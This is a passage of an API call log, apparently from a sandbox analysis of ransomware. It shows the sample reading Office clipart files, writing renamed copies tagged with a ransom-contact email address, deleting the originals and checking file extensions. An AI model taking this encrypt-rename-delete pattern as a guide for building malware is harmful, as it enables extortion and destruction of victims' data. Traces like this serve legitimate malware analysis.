[0093.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0093.079] GetLastError () returned 0x0 [0093.079] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0093.080] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0093.082] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.082] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.082] SetEndOfFile (hFile=0x308) returned 1 [0093.082] CloseHandle (hObject=0x308) returned 1 [0093.082] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.082] SetEndOfFile (hFile=0x350) returned 1 [0093.083] CloseHandle (hObject=0x350) returned 1 [0093.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 1 [0093.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0093.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0093.084] lstrlenW (lpString=".doc") returned 4 [0093.084] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.084] lstrlenW (lpString=".docx") returned 5 [0093.084] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0093.084] lstrlenW (lpString=".pdf") returned 4 [0093.084] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.084] lstrlenW (lpString=".xls") returned 4 [0093.084] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.084] lstrlenW (lpString=".xlsx") returned 5 [0093.084] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0093.084] lstrlenW (lpString=".ppt") returned 4 [0093.084] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0093.084] lstrlenW (lpString=".zip") returned 4 [0093.084] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.084] lstrlenW (lpString=".rar") returned 4 [0093.084] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.084] lstrlenW (lpString=".bz2") returned 4 [0093.084] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.084] lstrlenW (lpString=".7z") returned 3 [0093.084] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0093.084] lstrlenW (lpString=".dbf") returned 4 [0093.084] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0093.084] lstrlenW (lpString=".1cd") returned 4 [0093.084] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0093.084] lstrlenW (lpString=".jpg") returned 4 [0093.084] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0093.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0093.084] lstrlenW (lpString=".doc") returned 4 [0093.084] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.085] lstrlenW (lpString=".docx") returned 5 [0093.085] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0093.085] lstrlenW (lpString=".pdf") returned 4 [0093.085] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.085] lstrlenW (lpString=".xls") returned 4 [0093.085] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.085] lstrlenW (lpString=".xlsx") returned 5 [0093.085] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0093.085] lstrlenW (lpString=".ppt") returned 4 [0093.085] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0093.085] lstrlenW (lpString=".zip") returned 4 [0093.085] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.085] lstrlenW (lpString=".rar") returned 4 [0093.085] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.085] lstrlenW (lpString=".bz2") returned 4 [0093.085] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.085] lstrlenW (lpString=".7z") returned 3 [0093.085] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0093.085] lstrlenW (lpString=".dbf") returned 4 [0093.085] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0093.085] lstrlenW (lpString=".1cd") returned 4 [0093.085] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0093.085] lstrlenW (lpString=".jpg") returned 4 [0093.085] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.085] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0093.085] lstrlenW (lpString="J0101862.BMP") returned 12 [0093.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0093.086] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=32184) returned 1 [0093.086] CloseHandle (hObject=0x350) returned 1 [0093.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 0x220 [0093.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0093.086] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.086] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0093.087] GetLastError () returned 0x0 [0093.087] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0093.089] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0093.090] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.090] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.090] SetEndOfFile (hFile=0x308) returned 1 [0093.090] CloseHandle (hObject=0x308) returned 1 [0093.090] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.091] SetEndOfFile (hFile=0x350) returned 1 [0093.091] CloseHandle (hObject=0x350) returned 1 [0093.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 1 [0093.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0093.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0093.092] lstrlenW (lpString=".doc") returned 4 [0093.092] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.092] lstrlenW (lpString=".docx") returned 5 [0093.092] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0093.092] lstrlenW (lpString=".pdf") returned 4 [0093.092] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.092] lstrlenW (lpString=".xls") returned 4 [0093.092] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.092] lstrlenW (lpString=".xlsx") returned 5 [0093.092] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0093.092] lstrlenW (lpString=".ppt") returned 4 [0093.092] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0093.092] lstrlenW (lpString=".zip") returned 4 [0093.092] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.092] lstrlenW (lpString=".rar") returned 4 [0093.092] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.092] lstrlenW (lpString=".bz2") returned 4 [0093.092] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.093] lstrlenW (lpString=".7z") returned 3 [0093.093] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0093.093] lstrlenW (lpString=".dbf") returned 4 [0093.093] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0093.093] lstrlenW (lpString=".1cd") returned 4 [0093.093] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0093.093] lstrlenW (lpString=".jpg") returned 4 [0093.093] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0093.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0093.093] lstrlenW (lpString=".doc") returned 4 [0093.093] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.093] lstrlenW (lpString=".docx") returned 5 [0093.093] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0093.093] lstrlenW (lpString=".pdf") returned 4 [0093.093] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.093] lstrlenW (lpString=".xls") returned 4 [0093.093] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.093] lstrlenW (lpString=".xlsx") returned 5 [0093.093] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0093.093] lstrlenW (lpString=".ppt") returned 4 [0093.093] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0093.093] lstrlenW (lpString=".zip") returned 4 [0093.093] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.093] lstrlenW (lpString=".rar") returned 4 [0093.093] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.093] lstrlenW (lpString=".bz2") returned 4 [0093.093] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.093] lstrlenW (lpString=".7z") returned 3 [0093.093] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0093.093] lstrlenW (lpString=".dbf") returned 4 [0093.094] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0093.094] lstrlenW (lpString=".1cd") returned 4 [0093.094] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0093.094] lstrlenW (lpString=".jpg") returned 4 [0093.094] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.094] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0093.094] lstrlenW (lpString="J0101863.BMP") returned 12 [0093.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0093.094] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=32184) returned 1 [0093.094] CloseHandle (hObject=0x350) returned 1 [0093.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 0x220 [0093.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0093.095] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.095] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0093.095] GetLastError () returned 0x0 [0093.095] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0093.097] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0093.099] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.099] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.099] SetEndOfFile (hFile=0x308) returned 1 [0093.099] CloseHandle (hObject=0x308) returned 1 [0093.099] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.099] SetEndOfFile (hFile=0x350) returned 1 [0093.100] CloseHandle (hObject=0x350) returned 1 [0093.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 1 [0093.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0093.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0093.101] lstrlenW (lpString=".doc") returned 4 [0093.101] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.101] lstrlenW (lpString=".docx") returned 5 [0093.101] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0093.101] lstrlenW (lpString=".pdf") returned 4 [0093.101] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.101] lstrlenW (lpString=".xls") returned 4 [0093.101] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.101] lstrlenW (lpString=".xlsx") returned 5 [0093.101] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0093.101] lstrlenW (lpString=".ppt") returned 4 [0093.101] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0093.101] lstrlenW (lpString=".zip") returned 4 [0093.101] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.101] lstrlenW (lpString=".rar") returned 4 [0093.101] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.101] lstrlenW (lpString=".bz2") returned 4 [0093.101] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.101] lstrlenW (lpString=".7z") returned 3 [0093.101] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0093.101] lstrlenW (lpString=".dbf") returned 4 [0093.101] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0093.101] lstrlenW (lpString=".1cd") returned 4 [0093.101] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0093.101] lstrlenW (lpString=".jpg") returned 4 [0093.101] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0093.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0093.101] lstrlenW (lpString=".doc") returned 4 [0093.101] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.101] lstrlenW (lpString=".docx") returned 5 [0093.101] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0093.102] lstrlenW (lpString=".pdf") returned 4 [0093.102] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.102] lstrlenW (lpString=".xls") returned 4 [0093.102] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.102] lstrlenW (lpString=".xlsx") returned 5 [0093.102] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0093.102] lstrlenW (lpString=".ppt") returned 4 [0093.102] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0093.102] lstrlenW (lpString=".zip") returned 4 [0093.102] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.102] lstrlenW (lpString=".rar") returned 4 [0093.102] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.102] lstrlenW (lpString=".bz2") returned 4 [0093.102] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.102] lstrlenW (lpString=".7z") returned 3 [0093.102] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0093.102] lstrlenW (lpString=".dbf") returned 4 [0093.102] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0093.102] lstrlenW (lpString=".1cd") returned 4 [0093.102] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0093.102] lstrlenW (lpString=".jpg") returned 4 [0093.102] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.102] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0093.102] lstrlenW (lpString="J0101864.BMP") returned 12 [0093.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0093.103] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=31968) returned 1 [0093.103] CloseHandle (hObject=0x350) returned 1 [0093.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 0x220 [0093.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0093.103] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.103] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0093.104] GetLastError () returned 0x0 [0093.104] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, 